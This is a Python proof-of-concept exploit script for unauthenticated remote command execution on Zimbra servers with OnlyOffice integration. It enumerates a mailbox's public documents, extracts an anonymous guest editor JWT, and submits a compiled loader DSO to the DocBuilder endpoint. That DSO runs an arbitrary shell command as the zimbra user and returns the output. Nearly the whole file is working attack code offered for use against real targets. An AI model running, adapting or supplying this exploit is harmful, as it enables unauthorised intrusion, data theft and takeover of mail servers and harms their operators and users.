#!/usr/bin/env python3 """Execute a command through an anonymous OnlyOffice guest JWT and DocBuilder.""" from __future__ import annotations import argparse import base64 import json import re import struct import subprocess import sys import uuid import xml.etree.ElementTree as ET import zipfile from collections.abc import Iterator from pathlib import Path from urllib.parse import quote, unquote, urlparse import requests import urllib3 from onlyoffice_editor_jwt_docbuilder_rce import ( MAX_COMMAND_BYTES, TMP_DIR, build_script, compile_dso, normalize_target, recover_result, submit_builder, ) PUBLIC_ZID = "99999999-9999-9999-9999-999999999999" ONLYOFFICE_SUFFIXES = ( ".csv", ".doc", ".docx", ".odp", ".ods", ".odt", ".ppt", ".pptx", ".rtf", ".txt", ".xls", ".xlsx", ) def effective_port(parsed) -> int: try: return parsed.port or 443 except ValueError as error: raise RuntimeError("URL contains an invalid port") from error def normalize_encoded_id(value: str, target: str) -> str: if "://" not in value: if not re.fullmatch(r"[A-Za-z0-9_-]{20,180}", value): raise RuntimeError("--public-doc is not an encoded document identifier") return value parsed = urlparse(value) expected = urlparse(target) match = re.fullmatch(r"/service/extension/doc/([^/]+)", parsed.path) if ( parsed.scheme.lower() != expected.scheme.lower() or not parsed.hostname or parsed.hostname.lower() != expected.hostname.lower() or effective_port(parsed) != effective_port(expected) or parsed.username or parsed.password or parsed.params or parsed.query or parsed.fragment or not match ): raise RuntimeError("--public-doc URL must use the exact target origin and document path") return normalize_encoded_id(unquote(match.group(1)), target) def encode_shared_id(item_uuid: str, account_uuid: str) -> str: raw = uuid.UUID(item_uuid).bytes + uuid.UUID(account_uuid).bytes + b"\x01\x00\x02v2" return base64.urlsafe_b64encode(raw).decode("ascii").rstrip("=") def discover_public_documents(target: str, owner: str, scan_max: int, verify: bool) -> Iterator[str]: if not owner or any(character in owner for character in "/?#\x00\r\n"): raise RuntimeError("--public-owner is not a valid mailbox address") if not 1 <= scan_max <= 1_000_000: raise RuntimeError("--scan-max must be between 1 and 1000000") seen: set[str] = set() ranges = [(1, min(20, scan_max))] if scan_max >= 256: ranges.append((256, scan_max)) for first_id, last_id in ranges: for first in range(first_id, last_id + 1, 800): last = min(first + 799, last_id) item_list = ",".join(str(item_id) for item_id in range(first, last + 1)) response = requests.get( f"{target}/home/{quote(owner, safe='@')}/", params={"fmt": "xml", "list": item_list}, verify=verify, timeout=30, allow_redirects=False, ) if "Cookie" in response.request.headers: raise RuntimeError("public discovery unexpectedly sent a cookie") if response.status_code != 200: raise RuntimeError(f"public discovery returned HTTP {response.status_code}") if len(response.content) > 4 * 1024 * 1024: raise RuntimeError("public discovery response exceeded 4 MiB") root = ET.fromstring(response.content) for document in root.iter(): if document.tag.rsplit("}", 1)[-1] != "doc": continue name = document.attrib.get("name", "").lower() content_type = document.attrib.get("ct", "").lower() if not ( name.endswith(ONLYOFFICE_SUFFIXES) or "officedocument" in content_type or content_type.startswith("application/vnd.oasis.opendocument.") or content_type in {"application/rtf", "text/csv", "text/plain"} ): continue qualified_id = document.attrib.get("id", "") item_uuid = document.attrib.get("uuid", "") if ":" not in qualified_id or not item_uuid: continue try: encoded_id = encode_shared_id(item_uuid, qualified_id.split(":", 1)[0]) except ValueError: continue if encoded_id not in seen: seen.add(encoded_id) yield encoded_id class GuestDocument: def __init__(self, target: str, encoded_id: str, verify: bool) -> None: self.target = target self.encoded_id = encoded_id self.verify = verify self.token = "" self.proxy = "" def obtain_guest_jwt(self) -> dict: response = requests.get( f"{self.target}/service/extension/doc/{quote(self.encoded_id, safe='')}", verify=self.verify, timeout=30, allow_redirects=False, ) if "Cookie" in response.request.headers: raise RuntimeError("guest request unexpectedly sent a cookie") token = re.search(r'"token"\s*:\s*"([A-Za-z0-9_.-]+)"', response.text) route = re.search(r'/zdocument/([^/"\']+)/web-apps/', response.text) if response.status_code != 200 or not token or not route: raise RuntimeError(f"public document did not yield a guest JWT (HTTP {response.status_code})") self.token = token.group(1) self.proxy = f"{self.target}/zdocument/{route.group(1)}" try: payload = self.token.split(".", 2)[1] claims = json.loads(base64.urlsafe_b64decode(payload + "=" * (-len(payload) % 4))) except (IndexError, ValueError, json.JSONDecodeError) as error: raise RuntimeError("guest editor token contained malformed claims") from error guest_id = (((claims.get("editorConfig") or {}).get("user") or {}).get("id")) if guest_id != PUBLIC_ZID: raise RuntimeError("public document returned a non-guest editor token") return claims def main() -> int: parser = argparse.ArgumentParser(description=__doc__) parser.add_argument("--target", required=True, help="public Zimbra origin") source = parser.add_mutually_exclusive_group(required=True) source.add_argument( "--public-doc", help="encoded public document ID or full public document URL", ) source.add_argument( "--public-owner", help="mailbox whose public document IDs should be discovered", ) parser.add_argument( "--scan-max", type=int, default=10_000, help="highest numeric item ID for --public-owner (default: 10000)", ) parser.add_argument( "-c", "--command", required=True, help="shell command to execute as zimbra (20-second bounded run)", ) parser.add_argument( "--insecure", action="store_true", help="disable TLS certificate verification" ) args = parser.parse_args() target = normalize_target(args.target) command = args.command.encode() if not command or len(command) > MAX_COMMAND_BYTES or b"\0" in command: parser.error( f"--command must be 1..{MAX_COMMAND_BYTES} UTF-8 bytes without NUL" ) if args.insecure: urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) verify = not args.insecure if args.public_doc: candidate_ids = [normalize_encoded_id(args.public_doc, target)] else: print(f"[*] scanning public items for {args.public_owner}", file=sys.stderr) candidate_ids = discover_public_documents(target, args.public_owner, args.scan_max, verify) client = None claims = None last_guest_error: Exception | None = None candidate_count = 0 for encoded_id in candidate_ids: candidate_count += 1 candidate = GuestDocument(target, encoded_id, verify) try: candidate_claims = candidate.obtain_guest_jwt() except Exception as error: last_guest_error = error continue client = candidate claims = candidate_claims break if client is None or claims is None: if candidate_count == 0 and args.public_owner: raise RuntimeError( f"no supported public document found through item {args.scan_max}" ) if candidate_count == 1 and last_guest_error is not None: raise last_guest_error raise RuntimeError("none of the public documents yielded a guest session") print("[+] anonymous public document yielded a guest editor JWT") nonce = uuid.uuid4().hex output_path = f"{TMP_DIR}/.oo_editor_rce_{nonce}.out" status_path = f"{TMP_DIR}/.oo_editor_rce_{nonce}.status" payload, digest = compile_dso(args.command, output_path, status_path) script = build_script(nonce, payload) print(f"[+] built x86-64 loader DSO ({len(payload)} bytes, SHA-256 {digest})") print(f"[*] submitting the guest JWT to {client.proxy}/docbuilder") result = submit_builder(client.token, client.proxy, script, client.verify) status, output = recover_result( result, client.proxy, client.verify, nonce ) if status.startswith("exit="): print(f"[+] command executed as zimbra ({status})") elif status.startswith("signal="): print(f"[!] command terminated as zimbra ({status})") elif status.startswith("timeout="): print(f"[!] command exceeded the execution limit ({status})") else: print(f"[!] command completion status: {status}") if output: sys.stdout.flush() sys.stdout.buffer.write(output) if not output.endswith(b"\n"): sys.stdout.buffer.write(b"\n") sys.stdout.buffer.flush() return 0 if status == "exit=0" else 1 if __name__ == "__main__": try: raise SystemExit(main()) except KeyboardInterrupt: print("\n[-] interrupted", file=sys.stderr) raise SystemExit(130) except ( OSError, RuntimeError, requests.RequestException, subprocess.SubprocessError, ET.ParseError, zipfile.BadZipFile, ) as error: print(f"[-] {error}", file=sys.stderr) raise SystemExit(1)